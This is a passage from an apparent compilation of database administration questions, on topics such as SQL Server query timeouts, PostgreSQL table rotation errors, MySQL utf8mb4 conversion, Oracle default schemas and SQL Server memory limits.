Only after executing checkpoint, in memory FG size reduces slowly till around 1GB size.
Afterwards the log can be shrunk also.
Does anyone familiar with this behavior? What would you suggest to monitor to find a root of this problem?


texts: Is it possible to compress CLOB columns in DB2 10.5

texts: I have a table with a CLOB(1M). If I enable compression (compression yes adaptive) on the the table the CLOB is not compressed. Is there a way to make this work in DB2 10.5?


texts:
I have a query for search function.

Basically search function allowed user to define what they "have" and "want". Then this query will filter out all the possible result which created by other user.

For example, I have apple (with good quality) and I want orange (with poor quality). So the result will display all user that have orange (with poor quality) and want apple (with good quality).

The search query a bit long and I try to simplify as below:

This stored procedure will get a user-defined table (ItemID & Quality) as parameter

@WantUdt AS HaveItemUdt READONLY,
@HaveUdt AS HaveItemUdt READONLY

Search query (user can define more than one items and quality, so I use IN):

SELECT * from tbl_Trade WHERE TradeID IN

 (SELECT TradeID from tbl_Want w INNER JOIN

  (SELECT TradeID FROM tbl_Have
  WHERE HaveID IN (SELECT ItemID FROM @HaveUdt) AND
  Quality IN (SELECT QualityID FROM @HaveUdt)) as h  --to filter [have],

 ON w.TradeID = h.TradeID

  WHERE WantID IN (SELECT ItemID FROM @WantUdt) AND
  Quality =IN (SELECT QualityID FROM @WantUdt)    --to filter [want]
)

Above query works as expected. However, I am having performance issue. I try do stress test by execute this stored procedure for multiple times within specific time (few seconds), and my SQL Server 2008 Express database seems can't effort and generate a timeout error

  Timeout expired. The timeout period elapsed prior to completion of the operation or the server is not responding.

I guess it is because the query above use too many IN CLAUSE.

Is there any way to improve this query?

EDIT

Attached with the actual execution plan and statistic

(1 row(s) affected)
Table '#05C6342A'. Scan count 30813, logical reads 39101, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
Table 'Worktable'. Scan count 0, logical reads 0, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
Table 'tbl_Dota2ItemCustomSchema'. Scan count 14025, logical reads 26490, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
Table 'tbl_TradeItemHave'. Scan count 3182, logical reads 6476, physical reads 72, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
Table 'tbl_Dota2ItemSchemaExtend'. Scan count 0, logical reads 24134, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
Table 'tbl_Dota2ItemSchema'. Scan count 0, logical reads 29132, physical reads 1, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
Table '#06BA5863'. Scan count 20899, logical reads 28266, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
Table 'tbl_TradeItemWant'. Scan count 4456, logical reads 8974, physical reads 42, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
Table 'tbl_Trade'. Scan count 1, logical reads 48, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
Table 'tbl_UserProfile'. Scan count 1, logical reads 205, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.

Execution Plan Image


texts:
Problem description

I need to rotate (with DROP and CREATE) a table which is heavily used by other clients.

At present, I have a program which replaces (DROP + CREATE) this table.

Sometimes, just after the table is replaced, I get "ERROR:  could not open relation with OID xyz" from concurrent clients accessing the table.

One could say this behaviour breaks transaction isolation... Does it?

I understand this is caused by system catalogs being cached by postgres backend (which is normally a good thing). Am I right on it?

Is there any way to force a backend to "forget" table OIDs (DISCARD does not help)?

I know it will help if I switch to "DELETE and INSERT" pattern instead of "DROP and CREATE" pattern. But this is some legacy program and we do not want to change it unless absolutely needed.

I will be grateful for any suggestions how to get rid of this problem.

The goal is to rotate the table transparently for other clients.

The test case

Here is the minimal test case that I reduced the problem to:

A. This is the client (multiple clients will run this SELECT in parallel). We will use pgbench for stressing the database.

$ echo "SELECT num FROM x;" > pgbench.minimal.sql

B. This is the "rotator".

$ cat > rotate.x.sql <<EOF
BEGIN;
DROP TABLE x;
CREATE TABLE x ( num integer );
COMMIT;
EOF

C. create empty database and table x.

$ createdb dev
$ psql dev -c "CREATE TABLE x ( num integer )"

D. Start 30 clients.

$ pgbench -c 30 dev -T 60 -n -f pgbench.minimal.sql

E. (in other terminal) Run the "rotator".

$ psql dev -f rotate.x.sql

F. observe what happens to the clients (just after the "rotator" COMMITs).

Client 4 aborted in state 1: ERROR:  could not open relation with OID 170429513
LINE 1: SELECT num FROM x;
                        ^
Client 0 aborted in state 1: ERROR:  could not open relation with OID 170429513
LINE 1: SELECT num FROM x;
                        ^

(...and so on - every client fails)

Comments and ideas

What's interesting - even if the clients work in "new connection for each transaction" mode (add "-C" option to pgbench), same error occurs. Not always, and not for every client, but it does.

I asked this question some time ago on mailing list: http://archives.postgresql.org/pgsql-general/2012-04/msg00431.php - this SO post is just a copy.

For more audience: Same thing applies to rotating a partition. So it might be interesting for all people who use partitioning.

This is all on PostgreSQL 9.0, Linux.

Solution

(thanks to Chris Travers)

filip@srv:~$ cat rotate.x.sql
BEGIN;
DROP TABLE IF EXISTS xold;
ALTER TABLE x RENAME TO xold;
CREATE TABLE x ( num integer );
COMMIT;


texts:
I have a databases with latin1 charachter set, I need to change tables character set to utf8, but I get error. the current character set is :

mysql> show variables like "%character%";
+--------------------------+----------------------------+
| Variable_name            | Value                      |
+--------------------------+----------------------------+
| character_set_client     | utf8                       |
| character_set_connection | utf8                       |
| character_set_database   | latin1                     |
| character_set_filesystem | binary                     |
| character_set_results    | utf8                       |
| character_set_server     | latin1                     |
| character_set_system     | utf8                       |
| character_sets_dir       | /usr/share/mysql/charsets/ |
+--------------------------+----------------------------+

the table that I want to change the character set is :

mysql> describe spool;
+------------+---------------------+------+-----+-------------------+----------------+
| Field      | Type                | Null | Key | Default           | Extra          |
+------------+---------------------+------+-----+-------------------+----------------+
| username   | varchar(250)        | NO   | MUL | NULL              |                |
| xml        | text                | NO   |     | NULL              |                |
| seq        | bigint(20) unsigned | NO   | PRI | NULL              | auto_increment |
| created_at | timestamp           | NO   |     | CURRENT_TIMESTAMP |                |
+------------+---------------------+------+-----+-------------------+----------------+
4 rows in set (0.00 sec)

when I want to change the character set I see bellow error :

mysql> ALTER TABLE spool CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
ERROR 1071 (42000): Specified key was too long; max key length is 767 bytes

It's a company functioning database and I don't want to disturb the functionality, so I don't want to change the size of the varchar(250) type, I wonder if there is a solution to change this encoding.

mysql> show create table spool\G;
*************************** 1. row ***************************
       Table: spool
Create Table: CREATE TABLE `spool` (
  `username` varchar(250) NOT NULL,
  `xml` text NOT NULL,
  `seq` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
  UNIQUE KEY `seq` (`seq`),
  KEY `i_despool` (`username`) USING BTREE
) ENGINE=InnoDB AUTO_INCREMENT=23490775 DEFAULT CHARSET=utf8


texts: What is the name of the default schema in Oracle?

texts:
When you create an object in Oracle, and do not specify a schema (object prefix), is there a name for that default schema?  I see in Oracle SQL Developer, that a newly created object shows up in the root object nodes when no prefix is specified, rather than the schema object nodes.

Creating table under schema X:

X.table_1

Creating table under default schema:

table_1


texts: Documenting a giant web of inter-related stored procedures in an MS SQL database: What tool or format?

texts:
I hope this is a question with a shorter answer than "Read a 1000 page book", but then, if that's the real situation, then hit me with it.

I am not a real DBA, I'm a software developer who is realizing we need a DBA, and yet the shop I work in has zero DBAs. However our MS SQL database design including several core stored procedures, is a giant mess. The stored procedures are slow, we suspect they have bugs, but we don't even know how they are expected to work, so we don't know how to fix them.

As a start I've decided we'll document how it's supposed to all work, then we'll start unit testing, and building up a set of unit tests that help prove that the stored procedures actually do work. The logic that they perform is a key part of our application, you could say, it's the "crown jewels" of our company's main product, and the way it works is completely undocumented.

I'm looking for the specific technical documentation that a professional DBA might expect to have existing, or might write themselves, if they had to, to understand a giant web of stored procedures that call each other.

What is the usual format for documenting a large stored procedure? Description of expected values for each In Parameter  (ie "preconditions", "postconditions", ie, for boolean parameters what changes when you turn it on or off, etc?)
How does one usually document it? SQL comments only? External tooling that is specific to the purpose? External "documentation"? We have no SQL tools, other than MS SQL Management studio, but we are wondering if there is a tool that would make understanding, documenting, and testing our environment better.  Maybe that is a better way to ask my question; What tool do I need to solve our mess?

Our goal is to be able to:

A. Use the documentation we generate, or whatever tools we add to our environment, to help understand how the procedures are supposed to work, so we can then go on to create unit test coverage for the stored procedures.

B. Show the client-app developers how to properly call each of these complex stored procedures.

C. Unit test our stored procedures.


texts: SQL Server Database File Groups on a SAN: Relevant or Not?

texts:
I am about to build out a new SQL Server and I was planning to make extensive use of file groups. I expect heavy growth, and heavy read/write to 5 different databases on this server. I was planning on creating 2 additional file groups (one for user data and one for indexes) on each database for a total of 3 file groups per database. I was planning on splitting up the file groups among different drives/spindles. This server is a virtual server (VMWare) on an EMC SAN. I am new to SAN architecture and am I not the SAN administrator. I read a brief blurb on file groups and SANs in the book "Microsoft SQL Server 2012 Unleashed" that file groups were likely irrelevant when using SANs. Unfortunately, there wasn't much more detail than that, and I haven't found much else out there on the topic.

Is there a point to using file groups when using a SAN for storage?

If not, then why not? If so, then why?

What questions might I ask my SAN Admin on this topic?


texts: Fill in missing dates for a vacation schedule

texts:
Have an issue that has been driving me nuts for the past week and can't seem to get my head around it.

I have a stored procedure that grabs a bunch of vacation requests from our scheduling system. I need to now get each day that the individual has requested into a single row to pivot and plot in excel at the request of the user.

This is the end result I am looking for in a SQL Table

Any help is appreciated, already have a datedimension table created, tried using CTE and another attempt using outer apply but at this point I am spinning my wheels.

UPDATE:  Calendar Table

This is the table (Calendar Table) I am using - Populated with 30 years of dates

CREATE TABLE [dbo].[DateDimension](
    [Date] [date] NOT NULL,
    [Day] [tinyint] NOT NULL,
    [DaySuffix] [char](2) NOT NULL,
    [Weekday] [tinyint] NOT NULL,
    [WeekDayName] [varchar](10) NOT NULL,
    [IsWeekend] [bit] NOT NULL,
    [IsHoliday] [bit] NOT NULL,
    [HolidayText] [varchar](64) SPARSE  NULL,
    [DOWInMonth] [tinyint] NOT NULL,
    [DayOfYear] [smallint] NOT NULL,
    [WeekOfMonth] [tinyint] NOT NULL,
    [WeekOfYear] [tinyint] NOT NULL,
    [ISOWeekOfYear] [tinyint] NOT NULL,
    [Month] [tinyint] NOT NULL,
    [MonthName] [varchar](10) NOT NULL,
    [Quarter] [tinyint] NOT NULL,
    [QuarterName] [varchar](6) NOT NULL,
    [Year] [int] NOT NULL,
    [MMYYYY] [char](6) NOT NULL,
    [MonthYear] [char](7) NOT NULL,
    [FirstDayOfMonth] [date] NOT NULL,
    [LastDayOfMonth] [date] NOT NULL,
    [FirstDayOfQuarter] [date] NOT NULL,
    [LastDayOfQuarter] [date] NOT NULL,
    [FirstDayOfYear] [date] NOT NULL,
    [LastDayOfYear] [date] NOT NULL,
    [FirstDayOfNextMonth] [date] NOT NULL,
    [FirstDayOfNextYear] [date] NOT NULL
) ON [PRIMARY]
GO


texts: Recommendation for free event monitoring software

texts:
I'm seeking recommendations for free / open event monitoring tools. HPOV costs continue to multiply like so many wet gremlins, and we've had enough.

There are some interesting suggestions in this article and the subsequent comments, but before I set about trying many of these I'm sure you all have found a few that you like that may or may not be in this list. There is also this thread, but we're really shooting for a no-cost solution.

The primary requirements are:

Perform a basic ping test
Check the up-state of the SQL Server service.
Send an email alert if 1 or 2 fail.
Works as far back as Sql Server 2005 - present. (This is where PBM comes up a bit short)

Additional desired-not-required functionality would be:

Ability to pass a synthetic transaction, which if failed triggers an alert.
Ability to measure said transaction for duration, not just completion, and alert if a threshold is exceeded.
Alert on other measurable (logged) events.

Thanks much for any recommendations!

Edit: Currently investigating SpiceWorks


texts: How do I return all column values for the recently inserted row/rows?

texts:
I have these two tables in a PostgreSQL 12 database:
CREATE TABLE public.test (
    entity_id uuid PRIMARY KEY DEFAULT uuid_generate_v4()
);

CREATE TABLE public.test_registration (
    entity_id uuid REFERENCES test(entity_id),
    row_id uuid PRIMARY KEY DEFAULT uuid_generate_v4(),
    entry_name text,
    code text
);

entry_name is populated by a trigger AFTER INSERT:
CREATE OR REPLACE FUNCTION test_registration_entry_name()
  RETURNS trigger AS
$$
BEGIN
   UPDATE test_registration
   SET entry_name = new_inserts.code
   FROM new_inserts
   WHERE new_inserts.row_id = test_registration.row_id;
   RETURN NULL;
END
$$ LANGUAGE plpgsql;

CREATE TRIGGER test_insert_trigger
AFTER INSERT ON test_registration
REFERENCING NEW TABLE AS new_inserts
FOR EACH STATEMENT
WHEN (pg_trigger_depth() = 0)
EXECUTE PROCEDURE test_registration_entry_name();

The trigger function differs from table to table.
My current issue is when I insert a row into test_registration as such:
INSERT INTO test DEFAULT VALUES
RETURNING entity_id;  -- let's say: 'a17e66c5-1049-4ba9-bed3-90bbc823e064'

And then insert a registration and return all row values for the inserted row:
INSERT INTO test_registration (entity_id,code)
VALUES ('a17e66c5-1049-4ba9-bed3-90bbc823e064'::uuid,'EB')
RETURNING *

I get all column values correctly, except for the entry_name which is null. Which makes sense because entry_name is being set after the insert.
So I tried to expose this by altering my INSERT using the row_id as such:
WITH create_query AS (INSERT INTO test_registration (entity_id,code)
VALUES ('a17e66c5-1049-4ba9-bed3-90bbc823e064'::uuid,'13')
RETURNING *) SELECT v.entity_id, v.row_id, b.entity_id,b.entry_name, b.row_id
from create_query AS v, test_registration AS b WHERE V.Row_id = b.Row_id

This then turns out to not return anything. create_query.row_id seems to differ from the one in test_registration - which makes no sense? Why would they be different?
How can I extract all column values for the inserted row, after the triggers has been triggered.


texts: How to avoid locks by large transactions?

texts:
We have a large application running, that requires cleanup for performance reasons. This was however not forseen when designing the application.

Basically, the delete is executed from a stored procedure, which first does a couple of selects to define the data to be deleted, after which it starts deleting from different tables. As the link between this data is essential for the deletion, it has to be avoided to delete for example and order without deleting some dependencies. Therefore it has to run in one transaction.

Problem is, whenever the script is running, the application itself become not unusable: timeouts when getting data from the web, or trying to update a certain record. Al those queries are blocked by the sessions that runs the transaction

The data being deleted is not relevant anymore, and should thus not be updated by the application.

I've tried running the transaction in different isolation levels, including snapshot, but it still doesn't work.

How can I avoid these locks? Should I use READ_COMMITTED_SNAPSHOT?

Thanks in advance...


texts: SQL Server 2012 Standard Edition - multiple instances and memory utilization

texts:
If we have multiple instances of a SQL Server 2012 Standard Edition (which has a 64 GB memory limit) on one server which has 192 GBs of RAM, do both instances only have access to the first 64 GBs of memory, or can they access different portions of memory, so that they can each have their own 64 GB "chunk".

This is in consideration for an Active/Active cluster if both nodes fail over to a single node.